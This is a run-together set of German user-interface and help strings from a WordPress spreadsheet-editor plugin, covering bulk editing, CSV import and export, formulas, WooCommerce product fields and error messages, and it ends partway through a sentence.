ID-Bereiche wie 20-50 als Abkürzung verwenden.Geben Sie ein Datumsformat ein. Liste der Formate. Beispiel: Y-m-dSchlüsselwort eingebenGeben Sie ein Schlüsselwort ein, um Beiträge auszuschließen, trennen Sie mehrere Schlüsselwörter mit einem Semikolon (;)Namen eingeben...Geben Sie eine Zahl ein, und diese Spalten werden beim horizontalen Scrollen eingefroren. Sie können mit der rechten Maustaste auf eine beliebige Spalte klicken, um sie einzufrieren oder freizugeben. Geben Sie zum Beispiel 2 ein, um die ersten beiden Spalten einzufrierenSuchbegriff eingeben...Titel eingebenGeben Sie ein Wort ein, und wir finden die erste passende Spalte. Sie vermeiden es, durch Dutzende von Spalten zu blättern, um die Spalte zu finden, die Sie benötigen.Geben Sie jede Auswahl in eine neue Zeile ein. Zur besseren Kontrolle können Sie sowohl einen Wert als auch eine Bezeichnung wie folgt angeben:
                  rot : RotElementname eingeben...Mehrere SKUs oder IDs eingeben, getrennt durch KommataMehrere URLs eingeben, getrennt durch KommataMehrere Attribute eingeben, getrennt durch |Geben Sie mehrere durch Kommata getrennte Sprachcodes ein, und wir erstellen Kopien der Hauptsprache. Zum Beispiel: en, es. Bestehende Sprachen werden übersprungen.Mehrere Beitragstitel eingeben, getrennt durch KommataMehrere Begriffe eingeben, getrennt durch KommataEine URL je Zeile eingebenDie URL eingeben. Es kann eine URL von Ihrer eigenen Website (Beispiel http://site.com/wp-content/uploads/2016/01/file.jpg) oder eine externe URL sein.Die URL eingeben. Es muss eine URL von Ihrer eigenen Website sein. Beispiel: http://site.com/wp-content/uploads/2016/01/file.jpgDie URLs eingeben, getrennt durch Kommata. Sie können von Ihrer eigenen Website stammen.Die URLs eingeben, getrennt durch Kommata. Sie müssen von Ihrer eigenen Website stammen.Geben Sie den Spaltennamen ein (alles, was Sie wünschen), und wählen Sie den Feldschlüssel aus der Dropdown-Liste aus. Wenn Sie ihn nicht finden, können Sie ihn in der Dropdown-Liste eingeben. Tutorial anzeigenDie vollständige Hierarchie eingeben, wie Eltern > KindGeben Sie die Liste der Feldschlüssel durch Kommata getrennt ein, Sie können den vollständigen Metafeldschlüssel oder Teile von Schlüsselwörtern oder Präfixe eingeben. Dies ist nützlich, weil einige Plugins der Datenbank Tausende von unnötigen Feldern hinzufügen und das Arbeitsblatt überladenDie Namen eingeben von Die neuen Begriffe eingeben, getrennt durch %s. Sie können eine Hierarchie wie Eltern > Kind > Kind hinzufügenDie Zahl eingeben.Die Prozentzahl eingeben.Den Wert eingeben, der an den vorhandenen Wert angehängt werden soll.Den Wert eingeben, der dem vorhandenen Wert vorangestellt werden soll.Fehler 8391. Sie haben nicht genügend Berechtigungen, um diese Seite anzuzeigen.Fehler an Zeilen-ID: %d - %sFehler. Die Mathematik-Engine konnte die mathematische Operation nicht ausführen: %s, ID: %dFehler: %sFehler: Der neue Wert ist leer oder gleich dem alten WertUsw.Arbeitsblatt für EreignisseAlles ist bereits gespeichert.Alles, was Sie für alle Beiträge, Typen und Produkte benötigenAlles, was Sie für Benutzer und Kunden benötigenBeispiel 1: $current_value$ + 2 * 5.
                  Beispiel 2: $_regular_price$ * 0,7 (Regulärer Preis - 30%)Beispiel: AuszugAusführenJetzt ausführenFormel bei zukünftigen Beiträgen automatisch ausführen (nur für fortgeschrittene Benutzer)Nur bei zukünftigen Beiträgen ausführenVerlassenVollbildmodus verlassenExportierenSpalte exportierenZeilen schneller exportieren: Anzahl der zu exportierenden Zeilen je VerarbeitungszyklusAls CSV exportierenArbeitsblatt erweiternErweiterungenFTP-Bilder: Bilder mit demselben Dateinamen überspringen?BeitragsbildBeitragsbildFeldFeld 2: CSV-FeldFeld 2: WordPress-FeldZu aktualisierendes Feld:Datei (URL oder Pfad)Datei IDDatei-URLDatei-URLsDatei konnte nicht hochgeladen werden. Bitte starten Sie den Vorgang erneut.Datei-UploadDatei-Upload (mehrere)Datei-Upload (einzeln)Die Datei wurde erfolgreich hochgeladen, aber es handelt sich nicht um eine gültige CSV-Datei oder sie verwendet die falsche Kodierung. Wenn Sie die Datei in Excel bearbeitet haben, vergewissern Sie sich, dass sie als UTF-8 gespeichert wurde, und bedenken Sie, dass beim Einfügen von Kopien von externen Stellen manchmal ungültige Zeichen hinzugefügt werden. Stellen Sie also sicher, dass Sie nur die Werte und nicht die Formatierung einfügen, um das Einfügen ungültiger Zeichen zu vermeiden.Dateien gespeichert.Element-Liste filternLetzter SchrittDiese IDs finden:Diese URLs finden:Mehr als 13 Fehler behobenWenn Sie zum Beispiel mit dem Suchwerkzeug nach Beiträgen mit "Autor = Mark" gesucht haben, exportieren wir nur Beiträge mit "Autor Mark"Wenn Sie zum Beispiel mit dem Suchwerkzeug nach Beiträgen von Autor = Mark gesucht haben, werden wir nur Beiträge mit Autor Mark aktualisierenWenn Sie zum Beispiel den Beitragstyp "Produkt" auswählen, akzeptieren wir nur Produkttitel.Wenn Sie zum Beispiel einen Beitrag vollständig löschen (nicht in den Papierkorb verschieben), löschen Sie das Beitragsbild und die Galeriebilder aus der Medienbibliothek. SORGFALT: Wenn Sie dieselben Bilder in mehreren Beiträgen verwenden, werden die Bilder in anderen Beiträgen zerstörtModus für formatierte Zellen: Rendern als: (Nur verwenden, wenn der Zelltyp leer ist)Formelparameter:Formel-Typ:FormelnDie ersten Spalten auf der linken Seite einfrieren?Frontend-BlattFrontend-ArbeitsblätterVollständige URLKompletter InhaltVollbildmodus ist aktivGalerieAllgemeine EinstellungenAuszug erzeugenGenerierte Formel:Erhalten Sie sofortige Hilfe im Live-Chat + E-Mail-Support während der GeschäftszeitenErhalten Sie die untenstehenden %d Erweiterungen für nur $ %s $ %sHolen Sie sich PremiumZurückZur SeiteNach obenGoogle SheetsLeitfäden und TutorialsHöheHilfeHier ist ein Muster-CSV, das alle Arten von Produkten enthält.Hier können Sie die Größe eines Verarbeitungszyklus für die Exporte steuern. Wenn Sie eine hohe Anzahl verwenden, werden die Exporte schneller abgeschlossen. Sie können eine hohe Anzahl sicher verwenden, weil wir automatisch auf eine niedrigere Anzahl zurückgreifen, wenn der Server während eines Exports überlastet ist. Exportieren Sie zum Beispiel 100 Zeilen je Zyklus und schließen Sie die Exporte superschnell ab, und wenn wir bei einem Export eine Langsamkeit feststellen, starten wir den Export automatisch mit 10 Zeilen je Zyklus neuHier können Sie alle für die laufende Ausführung gespeicherten Formeln anzeigen. Diese Formeln werden bei Beiträgen ausgeführt, die den Filtern entsprechen, wenn sie im Arbeitsblatt erstellt oder aktualisiert werden.Spalten ausblenden / anzeigen / sortierenAdmin-Leiste im Frontend ausblendenSpalte ausblendenStundenWie finden wir bestehende Artikel zur Aktualisierung?Wie möchten Sie diese Dateien speichern?Wie möchten Sie diese Beiträge speichern?Wie wird die Datei in der Datenbank gespeichert?Wie wird der Beitrag in der Datenbank gespeichert?Wie wird der Benutzer in der Datenbank gespeichert?Wie lange wollen Sie zwischen den Verarbeitungszyklen warten? (in Sekunden)Wie viele Exemplare wünschen Sie?Ich möchte nicht alle Varianten kopierenIch habe eine Datenbanksicherung, jetzt ausführenIch weiß, dass alle Zeilen aus meiner aktuellen Suche exportiert werden.Ich weiß, dass die Produkte aus meiner Suche aktualisiert werden.Ich weiß, bitte fortfahrenIch möchte Zeilen durchsuchen, um alle Suchergebnisse zu aktualisieren und zu bearbeitenIDWenn die Spalte einen sehr langen Text hat, entfernen wir das HTML und kürzen es auf eine Anzahl von Wörtern.Wenn Sie diese Option aktivieren, werden alle Arbeitsblätter und Einstellungsseiten deaktiviert, und das gesamte Plugin wird für den Benutzer unsichtbar. Nur die REST-API bleibt aktiv. Dies ist nützlich für fortgeschrittene Szenarien, wenn Sie nur unsere REST-API verwenden, um Websites mit externen Tabellen oder Systemen synchronisiert zu halten. Wenn diese Option aktiv ist, wird unsere Einstellungsseite unter das allgemeine Einstellungsmenü verschoben, weil unser Tabelleneditor-Menü entfernt wirdWenn Sie diese Option deaktivieren, wird diese Spalte nur manuell bearbeitet.Wenn Sie diese Option aktivieren, werden einige Spalten als Text angezeigt. Normalerweise erkennen wir Datumsfelder, Bildfelder.Wenn Sie diese Option aktivieren, wird das Nutzungsstatistik-Widget, das im WP-Admin-Dashboard angezeigt wird, entfernt.Wenn Sie diese Option aktivieren, fügen wir den Benutzerprofilen Felder hinzu, in denen Sie angeben können, welche Ansichten des Arbeitsblattes sie verwenden können; ist diese Option deaktiviert, können sie alle Arbeitsblattansichten verwenden.Wenn Sie diese Option aktivieren, vereinfachen wir die Arbeitsblattoptionen und entfernen erweiterte Beispiele, Tipps und Optionen, die im Suchtool, Massenbearbeitungstool, Importtool, Exporttool und an anderen Stellen selten verwendet werden.Wenn Sie diese Option markieren, prüfen wir beim Anlegen oder Aktualisieren eines Beitrags im Arbeitsblatt, ob der Beitrag mit den Formelparametern übereinstimmt, und führen die Formel automatisch für diesen Beitrag aus. Zum Beispiel: Wenn Sie ein Produkt mit der Kategorie Äpfel erstellen, können wir die Beschreibung automatisch einstellen, oder wenn Sie die SKU ändern, können wir die URLs der herunterladbaren Dateien automatisch aktualisieren.Wenn Sie einen Import stoppen, um Ihre CSV-Datei zu bearbeiten oder die Importgeschwindigkeit zu ändern, können Sie einen neuen Import starten und an der Stelle fortfahren, an der Sie aufgehört haben.Diese Spalte ignorierenStellen Sie sich vor, Sie könnten all diese Änderungen an Hunderten oder Tausenden von Beiträgen in nur wenigen Minuten auf einmal vornehmen. Die Formelfunktion ist als Premium-Erweiterung verfügbar.ImportierenAlle Zeilen als neu importierenAlle Spalten importierenAls Metadaten importierenCSV importierenWichtig: Wir haben nur eine Spalte in der CSV-Datei erkannt. Wenn dies falsch ist, führen Sie die folgenden Schritte aus, um den Fehler zu behebenImportiere7 Funktionen wurden verbessertVerbessertes Arbeitsblatt: Einstellungen wurden in eine Dropdown-Liste verschoben, um die Benutzeroberfläche zu vereinfachen, und neue Kontextmenü-Optionen wurden hinzugefügtVerbesserte Werkzeuge: Sichtbarkeit der Spalten. Jetzt können Sie überflüssige Spalten löschen, und die Sortier- und Deaktivierungslogik wurde verbessertVerbesserte Werkzeuge: Formel-Engine. Jetzt können Sie erweiterte Suchen durchführen und Formeln auf die Suchergebnisse anwenden. Nur zahlende Benutzer. Upgrade)In Google Sheets > obere Werkzeugleiste. Öffnen Sie die Option "WordPress".Auf dieser Seite können Sie den Tabelleneditor schnell einrichten. Dies ist alles, was Sie zur Benutzung des Editors benötigen. Die Einstellungen auf den anderen Registerkarten sind vollkommen optional und erlauben es Ihnen unter anderem, die Leistung des Editors zu optimieren.Produktivität steigernErhöhen umErhöhen um ZahlErhöhen um ProzentzahlPreise für Produkte erhöhen oder verringernProduktbestand erhöhen oder verringernZeilen je Seite erhöhenDen vorhandenen Wert um eine Zahl erhöhen.
                  Das Ergebnis wird auf 2 Dezimalstellen gerundet. D.h. aus 3,845602 wird 3,85Den vorhandenen Wert um einen Prozentsatz erhöhen.
                  Das Ergebnis wird auf 2 Dezimalstellen gerundet. D.h. aus 3,845602 wird 3,85Anfängliches Zeilen-OffsetIn Element einfügenKostenlos installierenDie Chrome-Erweiterung "WP Sheet Editor" installieren. InstallierenFehler #898AJSI. Die Ersetzung erfordert 2 Parameter, wir haben einen erhaltenFehler #8W23CV. Wir akzeptieren nur mathematische und Ersetzungs-Formeln, wir haben einen unbekannten Formeltyp erhalten.Fehler #8W89PQ. Die mathematische Formel ist leer.Fehler #PQ8SPQ. Die mathematische Formel enthält ein Komma: %sUngültige Zeiteinheit.Ist herunterladbarVirtuellSichtbar?Ein globales Attribut?Empfohlen?Schreibgeschützt?Sichtbar?Suche in Titel und Inhalt des Beitrags.
                  Suche nach mehreren Schlüsselwörtern; Schlüsselwörter durch ein Semikolon (;) trennenIm Arbeitsblatt geladene ElementeJWT ist nicht richtig konfiguriert, bitte kontaktieren Sie den AdministratorEinfach Änderungen speichernSchlüsselBezeichnungLängeLinkfarbeLiveLadenWeitere Zeilen ladenWeitere Elemente beim Scrollen laden?Mehr beim Scrollen ladenZeilen schneller laden: Anzahl der je Verarbeitungszyklus zu ladenden ZeilenZelle suchenZelle suchen.Spalte suchenLogin-MeldungLogoHauptfarbeNeue Suche startenLagerbestand verwaltenTaxonomie-Spaltenwerte als Begriffs-IDs verwalten?Mathematische FormelnMathematische FormelMathematische Formel Dezimalstellen aufrundenMathematische OperationMaximale Anzahl von Varianten je Kombination von AttributenMaximale WortanzahlArbeitsblatt für die MedienbibliothekMenüMetaschlüssel, die den Handler für unbegrenzte serialisierte Felder verwenden sollenMeta: %sMicrosoft Excel (Office 365)VerschiedenesFehlende SpaltenFehlende Zahl und Zeiteinheit.Fehlende Parameter.Fehlender Beitragstyp oder column_keyFehlender Beitragstyp, old_column_key oder new_column_key; oder der alte und der neue Schlüssel sind gleich.Fehlendes Pflichtfeld "Daten".Pflichtfeld fehlt. Bitte starten Sie den Prozess erneut.Datum geändertBeiträge geändertMonateMehr OptionenStatus aller Ihrer Entwürfe in veröffentlichte Beiträge oder einen anderen Status ändernHunderte von Beiträgen in den Papierkorb verschiebenMusikMeine LizenzNameName dieses Exports (optional)Brauchen Sie Hilfe?Brauchen Sie Hilfe? Sehen Sie in unsere TutorialsBrauchen Sie Hilfe? Kontaktieren Sie unsNeues ArbeitsblattNeue Erweiterung - EVENTS - Anzeigen/Bearbeiten von Ereignissen, Veranstaltungen und Organisatoren in einem Arbeitsblatt. Erweiterte Suche, usw. Erweiterung anzeigen)Neue Erweiterung - WooCommerce Gutscheine - Gutscheine in einem Arbeitsblatt anzeigen/bearbeiten. Erweiterte Suche, Massenbearbeitung von Hunderten von Gutscheinen usw. Perfekt für die Weihnachtszeit. Erweiterung anzeigen)Neue Funktion - Unterstützung für Advanced Custom Fields > Beziehungsfelder hinzugefügt. Nur zahlende Benutzer. Upgrade)Neue Zeilen hinzugefügtNeuer WertNächsterNeinKeine Elemente gefunden.Keine Beiträge mehr verfügbar.Keine Optionen verfügbarKeine Beiträge für die aktuelle Seite verfügbar.Es wurden keine Beiträge gefunden, die Ihren Suchparametern entsprechen. Sie können die aktiven Filter entfernen oder eine andere Suche ausprobieren.Keine Taxonomien gefunden.Normale ZelleNicht erlaubt.Nicht erlaubt. Bitte starten Sie den Prozess erneut.Nicht gefundenNicht im Papierkorb gefundenAchtung: Wenn Sie gespeicherte Formeln ändern möchten, müssen Sie die Formel löschen und im Formel-Editor neu anlegen.Achtung: Mehr als 75 Kopien auf einmal können den Server überlasten. Tun Sie dies in kleinen Zyklen.
                  Sie können fortfahren, wenn Sie glauben, dass Ihr Server damit umgehen kann.Bitte beachten: Dies ist keine Sicherheitsfunktion, der Benutzer kann alle Felder im normalen Editor auf der Grundlage der jeweiligen Rolle bearbeiten. Diese Option dient der Bequemlichkeit, so dass man beim Öffnen des Tabelleneditors nur die Spalten sieht, die man benötigt. Wenn Sie diese Felder leer lassen, kann man zwischen allen vorhandenen Ansichten wechselnAchtung: Dies funktioniert nur in Google Chrome.Hinweis: Trennen Sie Werte mit dem Zeichen %s
                  Wir empfehlen die Verwendung von Globalen Attributen, wenn Sie diese in vielen Produkten verwenden.Globales Attribut erstellen
                  Globale Attribute haben ihre eigenen Spalten im Arbeitsblatt. Sie können sie in den Spalten (schneller) oder mit Hilfe dieses Popup-Fensters bearbeiten.
                  Wenn Sie die Attribute von Varianten bearbeiten, muss die Variante aktiviert sein, sonst werden die Attribute nicht gespeichert.ZahlOKBei welchen Beitragsarten möchten Sie den Editor aktivieren?Eine Zeile für Varianten hat ein übergeordnetes Produkt, das nicht existiert. Die Spalte "übergeordnetes Produkt" enthält die %s: %s. Bitte korrigieren Sie sie und starten Sie einen neuen ImportNur neue Elemente erstellen, vorhandene Elemente ignorierenNur für fortgeschrittene Benutzer. Weiterlesen.Hoppla, nichts gefundenGoogle Sheets öffnen. Hier klickenEinstellungs-Seite öffnenIn einem Arbeitsblatt öffnenDen Tabelleneditor öffnenOperatorBestellungAndereAndere ErweiterungenAndere Versionen von Microsoft ExcelÜbergeordnete SeiteSeitenParameter:ÜbergeordnetÜbergeordnetes Arbeitsblatt:PasswortEinfügen über die Tastatur: Strg+VPauseEinfacher Textmodus: Rendern als: (Nur verwenden, wenn der Zelltyp leer ist)Bitte überprüfen Sie, ob Sie ungespeicherte Änderungen haben. Wenn ja, speichern Sie sie bitte, sonst werden sie verworfen.Bitte korrigieren Sie den Fehler und speichern Sie erneut.Bitte korrigieren Sie den Fehler in der Datei, und starten Sie einen neuen Import. Sie können die "Erweiterten Optionen" im Schritt 1 des Imports verwenden, um von dieser speziellen Zeile aus zu beginnen.Bitte geben Sie die Namen der Arbeitsblattansichten durch Kommata getrennt ein.Bitte führen Sie eine Suche durch, um die Zeilen zu laden und mit der Bearbeitung zu beginnen (benutzen Sie die Option "Suche" in der oberen Werkzeugleiste).Bitte wählen Sie ein Produkt aus.Bitte wählen Sie ein Quellprodukt aus.Bitte wählen Sie mindestens eine Spalte zum Importieren ausBitte wählen Sie den Beitragstyp aus, und speichern Sie die Änderungen. Nachdem Sie die Änderungen gespeichert haben, können Sie die restlichen Einstellungen und Anweisungen sehen.Bitte aktualisieren Sie das WP Sheet Editor Plugin und alle seine Erweiterungen auf die neueste Version. Die Eigenschaften des Plugins "Beitrags-DropdownBeitrags-IDBeitragstypArbeitsblätterArbeitsblattBeitragstypenBeitragsdatenBeitrags-Meta (d.h. Metaboxen)Beitrags-Begriffe (d.h. Kategorien)BeitragstypBeitragstyp gelöschtBeitragstyp(en)BeiträgeVoranstellenVorschau des Frontend-EditorsVorherigeHauptmenüProWird verarbeitet...Verarbeitung: %d von %d Zeilen wurden exportiert.ProduktattributeNicht für Varianten verwendete ProduktattributeNicht sichtbare ProduktattributeProduktgalerieWerbung: %d%% RABATT nur heute. Hinweis zum KaufSchnelle AntwortenSchnellsucheSchnelle EinstellungenZellen neu ausrichtenRegulärer PreisRegulärer PreisAlle Filter entfernenSpalte vollständig entfernen. Wenn Sie sie später verwenden möchten, können Sie sie deaktivieren, indem Sie sie in die rechte Spalte ziehen und dort ablegenDuplikate entfernenSKU-Duplikate entfernen (neuesten Artikel löschen)SKU-Duplikate entfernen (ältesten Artikel löschen)Titel-Duplikate entfernen (neuesten Artikel löschen)Titel-Duplikate entfernen (ältesten Artikel löschen)Beitragsbild entfernenHilfemeldungen aus den Zellen entfernen?Entfernen Sie den vorhandenen Wert und lassen Sie das Feld leer. WeiterlesenSpalte umbenennenErsetzenEine Mediendatei durch eine andere Datei ersetzenErsetzen Sie ein Wort, einen Ausdruck oder eine Zahl durch einen neuen Wert. WeiterlesenErsetzen Sie den vorhandenen Wert durch diesen Wert. WeiterlesenAlte Shortcodes in allen Ihren Beiträgen durch neue Shortcodes ersetzenErsetzen Sie einige Begriffe durch neue Begriffe. WeiterlesenDiese Dateien ersetzenDies ersetzenDiese Datei ersetzenWörter oder Ausdrücke im Titel, Inhalt oder anderen Feldern Ihrer Beiträge ersetzenAnfrage nicht erlaubt. Versuchen Sie es später noch einmal.Einstellungen zurücksetzenSpaltengröße ändern basierend auf den WertenGelöschte Spalten wiederherstellenAnzahl der BewertungenZeilen-ID: %d, Beitragsart: %s ist in WordPress nicht vorhanden. Stellen Sie sicher, dass Ihr CSV den richtigen Namen in der Spalte für den Beitragstyp verwendet.Zeilen-ID: %d. Sie versuchen, einen leeren Beitragstyp zu speichern. Stellen Sie sicher, dass Ihr CSV den richtigen Namen in der Spalte für den Beitragstyp verwendet.Zeilen erfolgreich gelöschtSuche ausführenSEOSEO Canonical URLSEO BeschreibungSEO FB BeschreibungSEO FB BildSEO FB TitelSEO SchlüsselwortSEO Kein IndexSEO Primär %sSEO TW BeschreibungSEO TW BildSEO TW TitelSEO TitelSKUSonderpreisAngebots-EnddatumSonderpreisZeitraum SonderpreisAngebots-StartdatumSonderpreis-Datum vonSonderpreis-Datum bisIdentisch mit dem Beitragstyp im ArbeitsblattSpeichernSpeichern und fortsetzenÄnderungen speichernÄnderungen speichern und zum nächsten Beitrags-Editor gehenÄnderungen speichern und zum vorherigen Beitrags-Editor gehenÄnderungen schneller speichern: Anzahl der zu speichernden Zeilen je VerarbeitungszyklusAls serialisiertes Array speichernDiese Einstellungen für zukünftige Sitzungen speichern?Diese Suche speichernDurch Komma getrennt speichernGespeichert: %sÄnderungen werden gespeichert, diese Seite nicht schließen.DB durchsuchen, um Felder zu findenJetzt scannenSucheArbeitsblatt durchsuchenNach Varianten suchen?Sicherheit und Benutzerrollen (optional)Aktive Spalten auswählenAlles auswählenAlle Produkte aus einer Suche auswählenSpalte auswählen...Zu importierende Spalten auswählenEinzelne Spalten zum Importieren auswählenEinzelne Produkte auswählenProdukt auswählen...Wählen Sie das Format der Zellen, ob die Zellen normaler Text, ein Datei-Uploader oder ein Texteditor sein sollen.Wählen Sie die Informationen aus, die Sie mit dem Tabelleneditor bearbeiten möchten.Wählen Sie die Art von Informationen aus, die in den Zellen dieser Spalte verwendet wird.Wählen Sie die Zeilen aus, die Sie aktualisieren möchten.Art der Bearbeitung auswählenAuswählen...TrennzeichenTrennzeichen für Zellen mit Taxonomie-BegriffenBeitragsbild festlegenHunderte von Produkten auf einmal als vergriffen oder auf Lager kennzeichnenDasselbe Bild für alle Beiträge einer Kategorie festlegenArbeitsblatt einrichtenWert festlegenEinstellungenEinrichtungsseite im FrontendArbeitsblatt einrichtenBlatt-EditorVersandklasseKurzbeschreibungErweiterte Optionen anzeigenErweiterte Optionen anzeigen Alle benutzerdefinierten Beitragsstatus anzeigen?Zellen als einfachen Text anzeigenSpaltenschlüssel anzeigenElemente anzeigen, die zwischen diesen Daten veröffentlicht wurdenZeilen aus Ihrer letzten Sitzung werden angezeigt.Einfacher TextZerstörte Bilder überspringen?SlugEinzeln verkauftLösung für seltsame FehlerEinige Änderungen sind noch nicht gespeichert.Einige Plugins führen einen Auftrag aus, nachdem ein Beitrag erstellt oder aktualisiert wurde. Zum Beispiel gibt es Plugins, die Ihre neuen Beiträge in Ihren sozialen Profilen teilen, andere Plugins benachrichtigen Benutzer, nachdem ein Beitrag aktualisiert wurde, usw. Es könnte ein Problem mit diesen Plugins geben. Wenn Sie zum Beispiel ein Plugin verwenden, das Ihre neuen Beiträge auf Ihrem Twitter-Konto teilt, und 100 Beiträge im Tabelleneditor aktualisiert werden, könnten Sie am Ende 100 Tweets in Ihrem Twitter-Konto teilen. Aktivieren Sie also diese Option, wenn Sie Beiträge im Stillen aktualisieren / erstellen möchten, ohne diese Funktionen auszuführen.Einige Zeilen wurden im Hintergrund modifiziert. Bitte speichern Sie die Änderungen und laden Sie das Arbeitsblatt neu, um die Änderungen zu sehenEinige Zeilen wurden im Arbeitsblatt geändert. Bitte speichern Sie die Änderungen, bevor Sie diese Funktion verwenden.Alphabetisch sortieren ASCAlphabetisch sortieren DESCQuelleGeschwindigkeit und LeistungArbeitsblatt-ArchivArbeitsblatt-AttributeArbeitsblatt für %s %sArbeitsblattansichtenArbeitsblätter-ListeNavigation in der Arbeitsblätter-ListeStandardproduktBeginnen Sie bei Zeilennummer:Neuen Export startenStatusLagerLagerstatusAbonnenten dürfen den Editor nicht verwenden.Devalidierung von Cache-Objekten unterbrechen?TagsTags (kommagetrennt)Zielprodukte nicht gefunden.Taxonomie-Spalten wie Kategorien oder Tags von Beiträgen usw. zeigen durch Komma getrennte Begriffe; wenn Sie in Ihren Begriffsnamen Kommata benutzen, verwenden Sie diese Option, um das Trennzeichen zu ändernTaxonomie-DropdownTaxonomie-Dropdown. Nur wenn Datenquelle = Beitragsbegriffe.Vorlagenelement nicht gefunden, oder es darf nicht vervielfältigt werden.BegriffeTextTexteditor (TinyMCE)Vielen Dank für die Aktualisierung auf die neue Version des Plugins.Vielen Dank, dass Sie unseren Tabelleneditor verwendenDas Werkzeug "Varianten erstellen" ermöglicht es Ihnen, Varianten auf der Grundlage der Kombination von Attributen zu erstellen. Die Standardgrenze liegt bei 200 Varianten, um Ihren Server nicht zu überlasten. Sie können das Limit hier erhöhen, wenn Sie mehr Varianten benötigen.Die Funktion "Massenaktualisierung" ermöglicht es Ihnen, mehrere Beiträge auf einmal zu aktualisieren,
                  und Sie können viele coole Dinge tun, zum Beispiel:Die REST-API kann für die Interaktion mit unserem Arbeitsblatt von externen Anwendungen aus verwendet werden.Das Arbeitsblatt ist fertig.Das Arbeitsblatt für WooCommerce-Produkte generiert automatisch Bestandseinheiten und Bestandspreisstatistiken und zeigt die Statistiken über dem Arbeitsblatt an. Dies kann die Ausführung des Blattes verlangsamen, wenn Sie mehrere tausend Produkte haben. Deaktivieren Sie die Funktion, wenn das Arbeitsblatt zu langsam ist oder beim Laden von Zeilen Fehler auftreten.Die automatische Speicherung ist fehlgeschlagen: Der Server ist nicht verfügbar oder überlastet. Wollen Sie es erneut versuchen?Die Massenbearbeitung wurde ausgeführt. Möchten Sie die Seite neu laden, um die Änderungen zu sehen?Bei der Massenbearbeitung fehlen wichtige Informationen, bitte füllen Sie das Formular aus.Die Massenbearbeitung läuft. Bitte schließen Sie dieses Fenster nicht, bevor der Prozess abgeschlossen ist.Die Massenbearbeitung wurde erfolgreich ausgeführt. Sie können dieses Fenster schließenIn der Zelle werden die Werte als URLs angezeigt, und Sie können in den Zellen die vollständigen URLs, die Datei-ID oder den Dateinamen bearbeiten.
                  Externe URLs werden automatisch in die Medienbibliothek importiert.
                  Wir werden den Wert in dem hier gewählten Format speichernIn den Zellen wird das Datum in diesem Format angezeigt: YYYY-MM-DDDie bevorstehenden Änderungen sind nicht umkehrbarDie bevorstehenden Änderungen sind nicht umkehrbar. Sie sollten Ihre Datenbank sichern, bevor Sie fortfahren.Der im Arbeitsblatt angezeigte SpaltennameDie ausgewählte Spalte ist nicht gültig.Die Standardmethode verwendet eine schnellere Ausführungsmethode, aber sie funktioniert möglicherweise nicht in allen Fällen. Verwenden Sie diese Option, wenn die Standardmethode nicht funktioniert oder nicht alle Beiträge aktualisiert.Der Editor ist nur für angemeldete Benutzer verfügbar. Unbekannte Benutzer sehen ein Anmeldeformular.Der Export existiert nicht. Bitte exportieren Sie erneut.Die Exportfunktion ist nicht mit Ihrer Website kompatibel. Stellen Sie sicher, dass WordPress und alle Plugins und Themen auf dem neuesten Stand sind.Die Dateien konnten nicht gespeichert werden.Die Importfunktion ist nicht mit Ihrer Website kompatibel. Stellen Sie sicher, dass WordPress und alle Plugins und Themen auf dem neuesten Stand sind.Das Element konnte nicht gespeichert werden. Bitte versuchen Sie es später noch einmal.Der Schlüssel, der zum Speichern der Information in der Datenbank verwendet wird. Dieser muss eindeutig sein, nur Buchstaben und Unterstriche.Die letzte Importverarbeitung ist aufgrund eines Serverfehlers fehlgeschlagen, wahrscheinlich war der Server überlastet.
                  1- Sie können versuchen, je Zyklus weniger Zeilen zu importieren (d.h. importieren Sie 2 Zeilen alle paar Sekunden).
                  2- Sie können einen neuen Import starten, manchmal funktioniert ein erneuter Versuch (verwenden Sie die "erweiterten Einstellungen" in Schritt 1 des Imports, um von einer bestimmten Zeile aus zu beginnen).
                  3- Sie können den PHP-Speicher erhöhen (folgen Sie diesem Tutorial)
                  4 - Wenn das Problem nach dem Versuch mit 1 Zeile je Zyklus auftritt, können Sie uns kontaktieren und wir werden das Problem für Sie lösenDauert das Laden zu lange?
                  1. Sie können warten, bis der Prozess abgeschlossen ist.
                  2. Sie können Die Logdatei ist nicht vorhanden.Die mathematische Formel kann nicht angewendet werden. Wir haben festgestellt, dass einige vorhandene Daten nicht numerisch sind. Daten gefunden: %s, ID: %dDas Metafeld konnte nicht gelöscht werden.Das Metafeld wurde erfolgreich gelöschtDer Metaschlüssel konnte nicht umbenannt werden.Der Metaschlüssel wurde erfolgreich umbenanntDie Möglichkeit, Varianten für jede Kombination von Attributen zu erstellen, erfordert WooCommerce 3.0 oder höher. Bitte aktualisieren Sie WooCommerce.Das Plugin markiert alle Attribute, die diese Schlüsselwörter NICHT enthalten, als für Varianten verwendet. Geben Sie mehrere durch Kommata getrennt ein. D.h. "Auto, Flugzeug" würde mit "Automodell, Auto-Marker, teures Flugzeug, Flugzeuge" übereinstimmen. Dies gilt nach der Bearbeitung eines Produkts in den Zellen des Arbeitsblatts.Das Plugin markiert alle Attribute, die diese Schlüsselwörter NICHT enthalten, als sichtbar. Geben Sie mehrere durch Kommata getrennt ein. D.h. "Auto, Flugzeug" würde mit "Automodell, Auto-Marker, teures Flugzeug, Flugzeuge" übereinstimmen. Dies gilt nach der Bearbeitung eines Produkts in den Zellen des Arbeitsblatts.Das Plugin wird für die hier nicht ausgewählten Benutzerrollen nicht initialisiert.Die Vorschau ist in Ordnung, starten Sie den ImportDer Schnellzugriffslink ist abgelaufen oder existiert nichtDas ausgewählte Produkt hat keine VariantenDer Server konnte unsere Anfrage nicht bearbeiten. Bitte versuchen Sie es später noch einmal.Der Server hat unsere Anfrage nicht angenommen. Schlechte Anfrage, bitte versuchen Sie, die Seite zu aktualisieren und versuchen Sie es erneut.Der Server hat unsere Anfrage nicht angenommen. Sie haben keine Erlaubnis, diese Aktion durchzuführen. Bitte loggen Sie sich erneut ein.Der Server hat die ihm zugewiesenen Ressourcen überschritten und ist nicht in der Lage, unsere Anfrage zu bearbeiten.Der Server ist ausgelastet und hat zu lange gebraucht, um auf unsere Anfrage zu antworten. Bitte versuchen Sie es später noch einmal.Der Server ist nicht verfügbar oder überlastet. Wollen Sie es erneut versuchen?Der Server ist nicht verfügbar oder überlastet. Bitte versuchen Sie es später noch einmal.Der Server war nicht in der Lage, unsere Anfrage zu bearbeiten. Server-Fehler. Bitte versuchen Sie es später noch einmal.Das Ausgangsprodukt hat keine Varianten.Das Arbeitsblatt generiert automatisch Spalten für serialisierte Felder, was jedoch je nach Anzahl der serialisierten Felder viele CPU-Zyklen in Anspruch nehmen kann. Sie können diese Funktion deaktivieren, wenn das Blatt 